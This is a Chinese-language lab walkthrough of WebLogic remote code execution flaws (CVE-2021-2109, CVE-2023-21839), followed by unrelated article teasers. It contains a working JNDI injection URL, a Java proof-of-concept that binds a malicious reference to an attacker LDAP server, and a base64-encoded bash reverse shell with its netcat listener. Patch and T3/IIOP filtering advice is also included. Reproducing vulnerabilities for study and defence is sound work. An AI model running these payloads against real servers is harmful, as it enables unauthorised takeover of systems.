开发知识点-Weblogic

在这里插入图片描述

Weblogic

  • 介绍
  • CVE_2018_2628
  • poc-yaml-weblogic-ssrf
  • poc-yaml-weblogic-cve-2017-10271
  • poc-yaml-weblogic-cve-2019-2725
  • poc-yaml-weblogic-cve-2019-2729-1
  • poc-yaml-weblogic-cve-2019-2729-2
  • poc-yaml-weblogic-cve-2020-14750
  • poc-yaml-weblogic-local-cve-2022-21371-file-inclusion
  • CVE_2020_2551 IIOP 反序列化
  • CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞
  • CVE-2023-21839 Weblogic T3 预身份验证远程命令执行
    • 分析
    • 解决建议
    • 参考材料

介绍

WebLogic是美国Oracle公司出品的一个application server,
确切的说是一个基于JAVAEE架构的中间件,
用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。
将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

CVE_2018_2628


-   [1](https://github.com/topics/cve-2023-21839) cve-2023-21839 · GitHub Topics · GitHub,这里有 3 个公开的仓库与这个主题相关,其中一个是 4ra1n / CVE-2023-21839,用 python 写了一个一键检测 weblogic CVE-2023-21839 / CVE-2023-21931 / CVE-2023-21979 的脚本。
-   [2](https://github.com/houqe/POC_CVE-2023-21839) GitHub - houqe/POC_CVE-2023-21839,这是一个根据 4ra1n 大佬的 GO 版本翻译成 python 的 POC,可以用来攻击或测试目标,但需要授权许可。
-   [3](https://github.com/fakenews2025/CVE-2023-21839) GitHub - fakenews2025/CVE-2023-21839: CVE-2023-21839 exp,这是一个利用 T3, IIOP 协议的 Weblogic RCE 漏洞的 POC,支持 12.2.1.3.0, 12.2.1.4.0 和 14.1.1.0.0 版本。

poc-yaml-weblogic-ssrf

poc-yaml-weblogic-cve-2017-10271

poc-yaml-weblogic-cve-2019-2725

poc-yaml-weblogic-cve-2019-2729-1

poc-yaml-weblogic-cve-2019-2729-2

poc-yaml-weblogic-cve-2020-14750

poc-yaml-weblogic-local-cve-2022-21371-file-inclusion

CVE_2020_2551 IIOP 反序列化

CVE-2021-2109 WebLogic LDAP 远程代码执行漏洞

Oracle WebLogic Server的反序列化RCE漏洞(CVE-2023-2109),

该漏洞影响Oracle WebLogic Server 10.3.6.0、12.1.3.0、12.2.1.3、12.2.1.4和14.1.1.0版本,

攻击者可以通过发送带有恶意对象的HTTP请求,利用WebLogic Server的T3协议进行反序列化,执行任意代码。


LDAP Lightweight Directory Access Protocol轻量目录访问协议,基于X.500协议,相对简单且支持定制。
于X.500不同的是LDAP支持TCP/IP。


本文主要复现编号为CVE-2021-2109的Weblogic JNDI注入远程命令执行漏洞,该漏洞风险为“高”。

影响版本:Weblogic Server 10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0 


/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

信息安全从业人员

计算机基础、计算机网络、Linux




预备知识
JNDI简介

JNDI是Java Naming and Directory Interface
(Java命名和目录接口)的英文简写,
是为Java应用程序提供命名和目录访问服务的API
(application programing interface,应用程序编程接口)。

Weblogic_ssrf 反序列化远程命令执行漏洞 未授权访问漏洞 LDAP




漏洞编号:CVE-2021-2109

漏洞名称:WebLogic LDAP远程代码执行漏洞

漏洞描述:
2020年11月19日,
阿里云安全向Oracle官方报告了Weblogic Server远程代码执行漏洞。
攻击者可通过LDAP协议,实现JNDI注入攻击,
加载远程CodeBase下的恶意类,最后执行任意代码从而控制服务器。

影响版本:WebLogic Server10.3.6.0.0、12.1.3.0.0、12.2.1.3.0、12.2.1.4.0、14.1.1.0.0

漏洞等级:高危




通过实验掌握WebLogic LDAP远程代码执行漏洞的利用方法,
了解漏洞原理

PoC的构造链。




实验环境
靶机:docker+weblogic12.2.1.3 IP:10.1.1.109
在这里插入图片描述

攻击机:kali IP:10.1.1.110




任务描述:启动漏洞环境,判断漏洞是否存在。

靶机WebLogic Server已启动,浏览器访问 http://ip:7001 即可:

在这里插入图片描述

注:7001是WebLogic的默认端口。

访问/console/css/%252e%252e%252f/consolejndi.portal:

在这里插入图片描述

注:如果没有立即显示,刷新页面即可。

如果有此页面未授权可访问,且WebLogic为受影响的版本,则可能存在漏洞。
在这里插入图片描述

任务描述:启动LDAP,远程执行代码。
在这里插入图片描述

下载漏洞攻击需要的LDAP启动脚本到服务器上并启动:

java -jar JNDIExploit.jar -i ip(攻击机地址)
在这里插入图片描述
在这里插入图片描述

配合WebLogic未授权漏洞进行代码执行:

/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://xxx.xxx.xxx;xxx:1389/Basic/WeblogicEcho;AdminServer%22)

注:LDAP服务器地址的第三个分割符号为;

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
另起一个终端,运行漏洞利用PoC:
在这里插入图片描述

注意参数格式:LDAP >>> ldap://xxx.xxx.xxx;xxx:1389
在这里插入图片描述

可以成功远程执行命令。

在这里插入图片描述在这里插入图片描述在这里插入图片描述

任务描述:利用漏洞反弹shell。

访问 http://www.jackson-t.ca/runtime-exec-payloads.html,

将bash反弹命令bash -i >&/dev/tcp/10.1.1.110/6666 0>&1

进行base64编码转换:

得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTEwLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

在攻击机上运行nc-lvvp 6666命令监听6666端口:

在这里插入图片描述

将编码后的命令复制到cmd后面进行重放:

在这里插入图片描述

成功反弹回shell。
在这里插入图片描述在这里插入图片描述

漏洞修复
1、由于是通过JNDI注入进行远程代码执行,建议升级Weblogic Server运行环境的JDK版本;

2、升级官方安装补丁:https://www.oracle.com/security-alerts/cpujan2021.html

在这里插入图片描述

关闭 默认



分析与思考
漏洞分析见:https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw

调试分析参考:https://mp.weixin.qq.com/s/WtoUzPEgLlU8jUzvzC75Dg

参考
1、 https://mp.weixin.qq.com/s/gRgrzgkgeehT1DnnlnqQKw
2、 https://mp.weixin.qq.com/s/P6xTm3Ww4llbbd9CIm9spQ
3、 https://www.freebuf.com/vuls/261872.html
4、 https://www.cnblogs.com/huaflwr/p/14317388.html

CVE-2023-21839 Weblogic T3 预身份验证远程命令执行

CNVD-2023-04389
在这里插入图片描述


WebLogic存在远程代码执行漏洞,
该漏洞  允许未经身份验证授权的 远程攻击者
通过`IIOP/T3`协议网络访问并破坏易受攻击的WebLogic服务器,
成功利用此漏洞可能导致Oracle WebLogic服务器被接管或可访问数据的敏感信息泄露。
漏洞原理其实是通过Weblogic t3/iiop协议支持远程绑定对象bind到服务端,并且可以通过lookup查看
当远程对象继承自OpaqueReference时,`JNDI lookup`查看远程对象时,
服务端调用远程对象getReferent方法,其中的remoteJNDIName参数可控,
(weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference
并且实现了getReferent方法,并且存在retVal = context.lookup(this.remoteJNDIName)实现)
导致攻击者可利用rmi/ldap远程协议进行远程命令执行。


当 `JDK` 版本过低或本地存在小工具(javaSerializedData)时,这可能会导致`RCE`漏洞。

利用范围
Oracle WebLogic Server@[12.2.1.3, 14c(14.1.1.0))


WebLogic_Server = 12.2.1.3.0
https://blog.csdn.net/qq_41979593/article/details/123780213
https://download.oracle.com/otn/nt/middleware/12c/12213/fmw_12.2.1.3.0_wls_Disk1_1of1.zip
部署
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2023-21839/README.zh-cn.md
vulhub/weblogic/CVE-2023-21839# docker-compose up -d


http://127.0.0.1:7001/
出现

## Error 404--Not Found

### From RFC 2068 _Hypertext Transfer Protocol -- HTTP/1.1_:

#### 10.4.5 404 Not Found

The server has not found anything matching the Request-URI. No indication is given of whether the condition is temporary or permanent.

If the server does not wish to make this information available to the client, the status code 403 (Forbidden) can be used instead. The 410 (Gone) status code SHOULD be used if the server knows, through some internally configurable mechanism, that an old resource is permanently unavailable and has no forwarding address.


http://127.0.0.1:7001/console/

WebLogic Server 版本: 12.2.1.3.0

http://120.48.83.89:7001/console/login/LoginForm.jsp


https://github.com/DXask88MA/Weblogic-CVE-2023-21839/releases/tag/CVE-2023-21839


Weblogic10 XMLDecoder


Weblogic 中对 RMI 传输就是使用的 T3 协议


[**CVE-2023-21839 WebLogic Server RCE**](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html)[,这个漏洞影响了Oracle WebLogic Server 12.2.1.3.012.2.1.4.014.1.1.0.0版本,可以通过T3或IIOP协议进行远程代码执行](https://www.ddosi.org/cve-2023-21839/)[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)[2](https://www.ddosi.org/cve-2023-21839/)[。这个漏洞的利用方法和POC也已经在网络上公开](https://www.freebuf.com/vuls/357138.html)[5](https://www.freebuf.com/vuls/357138.html)[3](https://cn-sec.com/archives/1623845.html)[4](https://cn-sec.com/archives/1695556.html),建议受影响的用户尽快下载并更新官方补丁[1](https://bing.com/search?q=2023%E5%B9%B4+RCE+%E6%BC%8F%E6%B4%9E)

分析

SDK1.8新建POC项目
导入weblogic依赖jar包
weblogic的安装路径下的C:\Oracle\Middleware\Oracle_Home\wlserver\server\lib


docker cp cve-2023-21839_weblogic_1:/u01/oracle/wlserver/modules /aming/weblogic_lib

weblogic10 及以后的版本,不能直接使用server/lib 目录下的 weblogic.jar
需要手动执行一个命令生成手动生成 wlfullclient.jar
使用如下命令,生成wlfullclient.jar包
java -jar C:\Oracle\Middleware\Oracle_Home\wlserver\modules\com.bea.core.jarbuilder.jar

在这里插入图片描述

将生成的jar包,复制到攻击机的任意目录下,
接着在IDEA中导入jar包。file-->project structure-->Modules-->Dependencies-->JARS or ...
JNDIExploit.jar工具,开启LDAP服务和web服务
运行poc代码,让目标加载恶意类进行远程命令执行。





import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.lang.reflect.Field;
import java.util.Hashtable;


public class poc {
    static String JNDI_FACTORY="weblogic.jndi.WLInitialContextFactory";
    private static InitialContext getInitialContext(String url)throws NamingException
    {
        Hashtable<String,String> env = new Hashtable<String,String>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
        env.put(Context.PROVIDER_URL, url);
        return new InitialContext(env);
    }
    //iiop
    public static void main(String args[]) throws Exception {
        InitialContext c=getInitialContext("t3://172.23.a.b:7001");
        Hashtable<String,String> env = new Hashtable<String,String>();

        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
        weblogic.deployment.jms.ForeignOpaqueReference f=new weblogic.deployment.jms.ForeignOpaqueReference();
        Field jndiEnvironment=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
        jndiEnvironment.setAccessible(true);
        jndiEnvironment.set(f,env);
        Field remoteJNDIName=weblogic.deployment.jms.ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
        remoteJNDIName.setAccessible(true);
        remoteJNDIName.set(f,"ldap://172.23.c.d:1389/Basic/Command/calc");
        c.bind("aaa120",f);
        c.lookup("aaa120");

    }

}

通过调用getInitialContext方法创建一个InitialContext对象;
使用反射访问和修改ForeignOpaqueReference对象中的私有字段`jndiEnvironment``emoteJNDIName`,
调用InitialContext对象的bind方法
    
将ForeignOpaqueReference对象绑定到JNDI服务,最后调用InitialContext对象的lookup方法,执行查找。

类  weblogic.deployment.jms.ForeignOpaqueReference

Oracle WebLogic Server API Reference  12.2.1.3.0
https://docs.oracle.com/middleware/12213/wls/WLAPI/overview-summary.html  FRAMES



分析ForeignOpaqueReference这个类,其实继承了QpaqueReference接口
而QpaqueReference在官方文档中提示了
当实现此接口的对象从 WLContext 中检索(通过查找或 listBindings)时,由 getReferent() 返回对象。

在POC中远程绑定了ForeignOpaqueReference对象,
实际是因为ForeignOpaqueReference继承QpaqueReference,在远程查询该对象的时候,调用的将会是ForeignOpaqueReference.getReferent方法。


在这里插入图片描述

方法  weblogic.deployment.jms.ForeignOpaqueReference.getReferent()

lookup操作之前会检查 JNDI 环境是否已正确配置以访问远程资源,
主要是对jndiEnvironment和remoteJNDIName的检测,
如果在if中的任何一个条件为真,那么将调用对象的lookup方法,
如果 if 语句中的所有条件都为假,则会进入检查cachedReferent字段的阶段。

只要 getReferent 内的 this.jndiEnvironment不为空,就可以对InitialContext进行初始化,this.jndiEnvironment也可以使用反射的方式进行赋值。

在这里插入图片描述在这里插入图片描述


通过retVal = context.lookup(evalMacros(this.remoteJNDIName))的实现,便可以利用rmi/ldap远程协议进行命令执行。
进入bind方法,可以看到绑定的对象中
通过反射对remoteJNDIName 和 jndiEnvironment属性赋值。


在这里插入图片描述
ClusteravleRemoteRef.invoke
在这里插入图片描述

已经远程获取并加载了恶意类
JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc"
在weblogic.jndi.internal.ForeignOpaqueReference这个类下同样可以利用IIOP协议实现JNDI注入。

在这里插入图片描述在这里插入图片描述

解决建议

 1、安装Oracle WebLogic  Server最新安全补丁:
 https://www.oracle.com/security-alerts/cpujan2023.html
 2、通过控制T3协议/关闭IIOP协议的访问
 来阻断利用T3协议/IIOP协议的漏洞攻击。
 
 关闭T3和iiop协议端口,
 操作方法参考:https://help.aliyun.com/noticelist/articleid/1060577901.html 
 针对T3协议使用连接筛选器临时阻止外部访问7001端口的T3/T3s协议:
 连接筛选器:weblogic.security.net.ConnectionFilterImpl
 0.0.0.0/0 * 7001 deny t3 t3s #拒绝所有访问
 
允许和拒绝指定IP规则示例:
192.168.1.0/24 * 7001 allow t3 t3s #允许指定IP段访问
192.168.2.0/24 * 7001 deny t3 t3s #拒绝指定IP段访问

连接筛选器说明参考(英文):
https://docs.oracle.com/cd/E24329_01/web.1211/e24485/con_filtr.htm#SCPRG377

在Weblogic控制台中,
选择“base_domain”->“监视”进入“AdminServer”-> “协议”->“IIOP”中,取消“启用IIOP”的勾选。并重启Weblogic项目,使配置生效。


 目前Oracle已经修复该漏洞并发布补丁,受影响的用户可参考官方通告及时下载并更新补丁,
下载地址:[https://support.oracle.com/rs?type=doc&id=2917213.2]
(https://link.zhihu.com/?target=https%3A//support.oracle.com/rs%3Ftype%3Ddoc%26id%3D2917213.2)。 


参考材料

1.Oracle Critical Patch Update Advisory - January 2023

2.[https://www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory]
(https://link.zhihu.com/?target=https%3A//www.pingsafe.com/blog/cve-2023-21839-oracle-weblogic-server-core-patch-advisory)

3.[https://docs.oracle.com/html/E8]
(https://link.zhihu.com/?target=https%3A//docs.oracle.com/html/E80373_03/weblogic/jndi/OpaqueReference.htmlhttps%3A//docs.oracle.com/en/)

Oracle WebLogic Server 是业界领先的应用服务器,用于使用 Java EE 标准构建企业应用,并以较低的拥有成本将其部署在可靠、可扩展的运行时上。

          

漏洞复现

首先工具准备(GitHub - ASkyeye/CVE-2023-21839: Weblogic CVE-2023-21839 RCE (无需Java依赖一键RCE)3.1:讲一下漏洞产生的原因(CVE-2023-21839 允许远端用户在未经授权的情况下通过 IIOP 进行 JNDI 查找操作,当 JDK 版本过低或本地有小工具(使用 javaSerializedData)时,可能会导致 RCE 漏洞。)

 3.2启动工具

          

解压压缩包unzip CVE-2023-21839-master.zip

cd CVE-2023-21839-master

cd cmd

o build -o CVE-2023-21839

之后会生成一个 CVE-2023-21839程序

          
启动java的工具监听    
之后使用nc进行监听    
在启动工具

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/275685.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

修改jenkins的目录(JENKINS_HOME)

默认JENKINS_HOME是/var/lib/jenkins/ 现要修改为/home/jenkins_data/jenkins 最开始 sudo cp -a /var/lib/jenkins/ /home/jenkins_data/ 然后如下操作&#xff1a; 1、首先 /etc/sysconfig/jenkins&#xff1a;jenkins配置文件&#xff0c;“端口”&#xff0c;“JENKIN…

数字 IC 笔试易混淆整理

signed 扩展 比较以下4段代码&#xff0c;给出W_DATA2的结果&#xff08;十进制或16进制或二进制&#xff09;&#xff1b; wire signed [3:0] W_DATA1 4b1000; wire signed [7:0] W_DATA2; assign W_DATA2 W_DATA1; wire [3:0] W_DATA1 4b1000; wire signed [7:0] W_DA…

JPEG的操作模式和数据

JPEG&#xff08;Joint Photographic Experts Group&#xff09;是一种广泛应用于图像压缩领域的标准。JPEG的操作模式和数据结构是实现图像压缩和解压缩的重要组成部分。本文将详细介绍JPEG的操作模式和数据结构&#xff0c;以及其在图像处理中的应用。 JPEG的操作模式主要包…

Jest 测试框架快速上手

目录 一、Jest 是什么 二、Jest 开始使用步骤 1. 初始化一个新的项目 2. 安装 3. 创建测试文件并编写测试用例 4. 运行测试 三、单元测试框架基本原理 1. test 2. expect 3. toBe 匹配器 四、匹配器及适用范围 1. 普通匹配器 2. 与真假有关的匹配器 3. 数字 4. …

搭建FTP服务器详细介绍

一.FTP简介 &#xff11;.&#xff11;什么是FTP &#xff11;.&#xff12;FTP服务器介绍 &#xff11;.&#xff13;FTP服务器优缺点 二.FTP服务器的搭建与配置 2.1 开启防火墙 2.2创建组 2.3创建用户 2.4安装FTP服务器 2.5配置FTP服务器 &#xff12;.&#xff…

Redis中RDB和AOF

Redis中RDB和AOF 定时间间隔执行数据集的时间快照&#xff0c;把某一时刻数据和妆容以文件的形式写到磁盘上&#xff0c;也就是快照。 配置文件 如果是普通安装方式可以跳过&#xff0c;如果是docker安装&#xff0c;需要到官网下载redis.conf配置文件到本地&#xff0c;地址…

YOLOv7+Pose姿态估计+tensort部署加速

YOLOv7是一种基于深度学习的目标检测算法&#xff0c;它能够在图像中准确识别出不同目标的位置和分类。而姿态估计pose和tensort则是一种用于实现人体姿态估计的算法&#xff0c;可以对人体的关节位置和方向进行精准的检测和跟踪。 下面我将分点阐述YOLOv7姿态估计posetensort…

浏览器的插件作用、安装与使用介绍

浏览器的插件作用、安装与使用介绍 网页插件是一种为了增强浏览器功能而设计的软件程序。它们可以在浏览器中添加额外的功能、工具或服务&#xff0c;以满足用户个性化的需求。网页插件通常以浏览器扩展、附加组件或插件的形式存在&#xff0c;可以在浏览器的插件商店中找到并安…

K8S异常处理

一、概述 1、k8s有时候会报错The connection to the server ip:6443 was refused - did you specify the right host or port &#xff0c;本文档提供几种可能产生该报错的原因和排障思路。 二、发现问题 使用任意Kubectl 命令会报错&#xff1a;The connection to the serv…

软件测试/测试开发丨Python内置库学习笔记

内置库 一、内置库OS 1、os概述 os: Operating Systemos 模块的常用功能跨平台的差异 2、os使用 导入 os 模块查看 os 模块使用文档 help(os)dir(os) import os# 查看os模块说明文档 help(os)# 查看os模块的属性和方法 print(dir(os))3、os 常用方法 &#xff08;1&…

k8s搭建(三、k8s从节点创建)

天行健&#xff0c;君子以自强不息&#xff1b;地势坤&#xff0c;君子以厚德载物。 每个人都有惰性&#xff0c;但不断学习是好好生活的根本&#xff0c;共勉&#xff01; 文章均为学习整理笔记&#xff0c;分享记录为主&#xff0c;如有错误请指正&#xff0c;共同学习进步。…

sql优化,内外连接有什么区别

内外连接是啥不必多说&#xff0c;但在做关联查询的时候&#xff0c;二者是有一些区别的&#xff1a; 举例来说&#xff0c;首先是外连接&#xff08;左外连接为例&#xff09;&#xff0c;当两个表都没有索引&#xff0c;就都是全表扫描 EXPLAIN SELECT SQL_NO_CACHE * FROM …

thinkphp6.0升级到8.0

目录 一&#xff1a;升级过程 二&#xff1a;报错处理 最近写的项目需要使用thinkphp8.0&#xff0c;之前的老项目需要从php6.0升级到8.0&#xff0c;特此记录下升级过程。 一&#xff1a;升级过程 查看版本&#xff1a; php think version,我目前的版本是6.1.4 生成thin…

【C语言】程序练习(二)

大家好&#xff0c;这里是争做图书馆扫地僧的小白。 个人主页&#xff1a;争做图书馆扫地僧的小白_-CSDN博客 目标&#xff1a;希望通过学习技术&#xff0c;期待着改变世界。 目录 前言 一、运算符练习 1 算术运算符 1.1 练习题&#xff1a; 2 自加自减运算符 3 关系运…

矩阵微分笔记(1)

目录 前言1. 矩阵求导的布局形式1.1 矩阵求导的基本单元 f u n c t i o n function function 是一个标量 f u n c t i o n function function 是一个向量 f u n c t i o n function function 是一个矩阵 1.2 矩阵求导的本质1.3 矩阵求导的布局形式1.3.1 向量对标量函数的导数1.…

ASP.Net实现汽车添加查询(三层架构,含照片)

演示功能&#xff1a; 点击启动生成页面 点击搜索模糊查询 点击添加跳转新界面 此处设置文本框多行 点击Button添加 步骤&#xff1a; 1、建文件 下图是三层架构列表&#xff0c;Models里面有模拟数据库中列的类&#xff0c;DAL中有DBHelper和service,BLL中有BllManager文件…

【Java基础系列】body参数前后端不一致

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学…

进程

进程 进程的概念、组成与特征进程的状态与转换进程控制进程通信 进程的概念、组成与特征 程序是静态的&#xff0c;是一个存放在磁盘里的可执行文件&#xff0c;是一系列的指令集合。 进程是动态的&#xff0c;是程序的一次执行过程&#xff0c;同一个程序多次执行会对应多个进…

NFC物联网智能锁安全测试研究

针对短距离无线通信在物联网智能锁实际运用中的安全机制问题&#xff0c;通过理论分析和实际操作演示潜在的攻击流程&#xff0c;发现其存在的安全漏洞并提出可行的加固方法&#xff0c;并对加固后的通信系统进行CPN建模与安全性分析&#xff0c;对无线通信协议的安全性能提升、…

哥斯拉木马解析 + bypass 免杀代码分析+回调webshell

目录 抓包分析 测试连接 第一个包 第二个包 第三个包 进入控制台 第三个包 请求 返回 木马的解析 第一次链接 第二次链接 payload集合 run reDefSystemFunc() 自写免杀 通过文件名 构造字符 通过请求头实现 php7.3 php5.2 PHP5.3 PHP 7.0.0 这里也是跟着大…